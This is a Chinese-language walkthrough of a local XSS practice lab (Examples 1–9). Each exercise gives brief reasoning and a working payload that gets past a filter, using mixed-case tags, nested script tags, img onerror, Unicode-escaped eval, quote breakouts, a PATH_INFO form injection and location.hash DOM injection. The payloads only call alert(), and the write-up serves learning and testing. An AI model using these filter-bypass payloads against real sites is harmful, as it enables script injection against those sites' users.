从上面的站点下载好iso镜像后在虚拟机中启动
Example 1
思路: 首先查看HTML页面,发现没有用户输入的地方.然后看URL,发现”?name=hacker”.测试改变name的值,发现页面会返回name的值.确定name为注入点.第一题一般很简单.
答案:
/xss/example1.php?name=<script>alert()</script>
Example 2
思路: 采用上一题的答案进行测试.发现程序过滤了<script>和</script>.但是HTML标签不区分大小写,so~
答案:
/xss/example2.php?name=<Script>alert()</scRipt>
Example 3
思路:通过测试发现程序只过滤了一遍<script>与</script>标签.
答案:
?name=<script<script>>alert()</script</script>>
Example 4
思路:完全过滤了script标签,考虑使用<img>标签.
答案:
name=<img src="" onerror="alert()">
Example 5
思路: 过滤了”alert”的大小写,考虑使用evel()函数配合Unicode编码.
tips: eval() 函数可计算某个字符串,并执行其中的 JavaScript 代码.
答案:
?name=<script>eval(\u0061\u006c\u0065\u0072\u0074())</script>
Example 6
思路: 查看HTML页面,很明显是使用JavaScript语言的注释.
答案:
?name=";alert()
Example 7
思路: 上一题闭合双引号,这一题单引号.
答案:
?name=';alert()
Example 8
答案:
example8.php/"%20method="POST"><script>alert()</script><!--
Example 9
思路: 注意到代码中的
document.write(location.hash.substring(1))
显然是利用锚注入
答案:
#<script>alert()</script>